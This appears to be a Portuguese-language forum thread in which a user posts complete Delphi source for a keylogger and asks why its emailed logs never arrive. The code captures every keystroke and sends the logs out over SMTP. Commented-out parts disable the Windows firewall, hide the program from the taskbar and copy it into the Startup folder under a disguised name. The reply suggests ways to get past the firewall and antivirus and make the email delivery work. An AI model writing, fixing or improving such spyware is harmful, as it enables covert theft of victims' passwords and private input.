Por favor não venham me dizer que o erro esta na frente do computador Rsssssssssss
Vejam ai :
unit untkeylo;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, IdMessage, IdBaseComponent, IdComponent, IdTCPConnection,
IdTCPClient, IdMessageClient, IdSMTP, ExtCtrls, StdCtrls,ComObj;
type
TForm1 = class(TForm)
Memo1: TMemo;
Timer1: TTimer;
smtp: TIdSMTP;
message1: TIdMessage;
Timer2: TTimer;
procedure Timer2Timer(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.Timer2Timer(Sender: TObject);
begin
with Message1 do
begin
Body.Assign(memo1.Lines);
From.Text := 'recebe_e-mail@yahoo.com.br (mailto:'recebe_e-mail@yahoo.com.br)'; //e -mail onde vc recebe o log
Subject := 'Logs' ;// Assunto
smtp.AuthenticationType := atlogin; // Indica que requer autenticação
smtp.Username := 'remetente'; // Usuario;
smtp.Password := '******'; // senha;
smtp.Host := 'smtps.bol.com.br'; // SMTP;
smtp.Port := 25;
smtp.Connect;
try
smtp.Send(message1); // Envia
finally
smtp.Disconnect; // Desconecta
memo1.Text:='';
end;
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
//var HNetCfg: OleVariant;
begin
//HNetCfg := CreateOLEObject('hnetcfg.fwmgr');
//HNetCfg.LocalPolicy.CurrentProfile.FirewallEnabled := False; //True lo activa
end;
{type
TRegisterServiceProcess = function (dwProcessID, dwType:DWord) : DWORD; stdcall;
var
inicia : string;
Handle: THandle;
RegisterServiceProcess: TRegisterServiceProcess;
begin
//*** Nao aparece na barra ***********************************************
SetWindowLong(Application.Handle, GWL_EXSTYLE,
GetWindowLong(Application.Handle, GWL_EXSTYLE) or
WS_EX_TOOLWINDOW and not WS_EX_APPWINDOW);}
{inicia := Application.ExeName;
if not FileExists('C:\Documents and Settings\All Users\Menu Iniciar\Programas\Inicializar\Cleanmgrc.exe') then
CopyFile(Pchar(a),Pchar('C:\Documents and Settings\All Users\Menu Iniciar\Programas\Inicializar\Cleanmgrc.exe'),false);
end;}
procedure TForm1.Timer1Timer(Sender: TObject);
var
i : byte;
begin
for i:=8 To 222 do
begin
if GetAsyncKeyState(i)=-32767 then
begin
case i of
8 : memo1.Lines[memo1.Lines.count-1] := copy(memo1.Lines[memo1.Lines.count-1],1,length(memo1.Lines[memo1.Lines.count-1])-1); //Backspace
9 : memo1.text:=memo1.text+'[Tab]';
13 : memo1.text:=memo1.text+#13#10; //Enter
17 : memo1.text:=memo1.text+'[Ctrl]';
27 : memo1.text:=memo1.text+'[Esc]';
32 :memo1.text:=memo1.text+' '; //Space
// Del,Ins,Home,PageUp,PageDown,End
33 : memo1.text := Memo1.text + '[Page Up]';
34 : memo1.text := Memo1.text + '[Page Down]';
35 : memo1.text := Memo1.text + '[End]';
36 : memo1.text := Memo1.text + '[Home]';
//Arrow Up Down Left Right
37 : memo1.text := Memo1.text + '';
38 : memo1.text := Memo1.text + '[Up]';
39 : memo1.text := Memo1.text + '';
40 : memo1.text := Memo1.text + '[Down]';
44 : memo1.text := Memo1.text + '[Print Screen]';
45 : memo1.text := Memo1.text + '[Insert]';
46 : memo1.text := Memo1.text + '[Del]';
145 : memo1.text := Memo1.text + '[Scroll Lock]';
//Numeros 1234567890 Simbolos !@#$%^&*()
48 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+')'
else memo1.text:=memo1.text+'0';
49 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'!'
else memo1.text:=memo1.text+'1';
50 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'@'
else memo1.text:=memo1.text+'2';
51 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'#'
else memo1.text:=memo1.text+'3';
52 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'$'
else memo1.text:=memo1.text+'4';
53 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'%'
else memo1.text:=memo1.text+'5';
54 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'^'
else memo1.text:=memo1.text+'6';
55 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'&'
else memo1.text:=memo1.text+'7';
56 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'*'
else memo1.text:=memo1.text+'8';
57 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'('
else memo1.text:=memo1.text+'9';
65..90 : // a..z , A..Z
begin
if ((GetKeyState(VK_CAPITAL))=1) then
if GetKeyState(VK_SHIFT)<0 then
memo1.text:=memo1.text+LowerCase(Chr(i)) //a..z
else
memo1.text:=memo1.text+UpperCase(Chr(i)) //A..Z
else
if GetKeyState(VK_SHIFT)<0 then
memo1.text:=memo1.text+UpperCase(Chr(i)) //A..Z
else
memo1.text:=memo1.text+LowerCase(Chr(i)); //a..z
end;
//Numpad
96..105 : memo1.text:=memo1.text + inttostr(i-96); //Numpad 0..9
106:memo1.text:=memo1.text+'*';
107:memo1.text:=memo1.text+'&';
109:memo1.text:=memo1.text+'-';
110:memo1.text:=memo1.text+'.';
111:memo1.text:=memo1.text+'/';
144 : memo1.text:=memo1.text+'[Num Lock]';
112..123: //F1-F12
memo1.text:=memo1.text+'[F'+IntToStr(i - 111)+']';
186 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+':'
else memo1.text:=memo1.text+';';
187 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'+'
else memo1.text:=memo1.text+'=';
188 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'<'
else memo1.text:=memo1.text+',';
189 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'_'
else memo1.text:=memo1.text+'-';
190 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'>'
else memo1.text:=memo1.text+'.';
191 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'?'
else memo1.text:=memo1.text+'/';
192 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'~'
else memo1.text:=memo1.text+'`';
219 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'{'
else memo1.text:=memo1.text+'[';
220 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'|'
else memo1.text:=memo1.text+'\';
221 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'}'
else memo1.text:=memo1.text+']';
222 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'"'
else memo1.text:=memo1.text+'''';
end;
end;
end;
end;
end.
Quando executo não mostra erro nem nada parece enviar o e-mail mas quando vou olhar no meu e-mail não tem nada.
Não mostra erro nenhum , verifiquei se quando escrevo ele aparace no Memo e aparece normal não to entendendo o que pode estar errado , sera que tá dificil enviar usando o yahoo e o bol :????
Alternei as contas de e-mail mas nada.
Alguem pode me dizer o que fiz de errado

?
Não programo em obj pascal faz tempo... \=
Mas enfim, tu acha o firewall ou o AV vão deixar um código 'cara de pau' desses passar?(não to falando que o código é bom ou ruim não, só que hoje em dia, KLs com GetKeyState e que ainda usam componentes pra se connectar, são muito visados \=.. só que você vai ter que bypassar o firewall em linha de código ou desativar ele se quiser que seu email chege.)
Alguns AVs também tem a opção de bloquear emails suspeitos.
Fora isso, se eu não me engano, a porta smtp do yahoo é 587 para diminuir o número de conexões na pobre da 25.
E tenta verificar se não está ocorrendo nenhum erro na conexão com if not smtp.connected then
MessageBox(nil,"Erro na conexão", "ERROR", MB_ICONERROR);
ou com ShowMessage, você que decide..
Fora isso, GetKeyState não é legal..
Usa GetKeyboardState passando um array de 256 bytes que serão modificados mostrando quais teclas você está usando(poupa muito procoessamento) ou GetAsyncKeyState para pegar de cada tecla individualmente já que se não me engano, GetKeyState é thread specific.
Flws véi. =]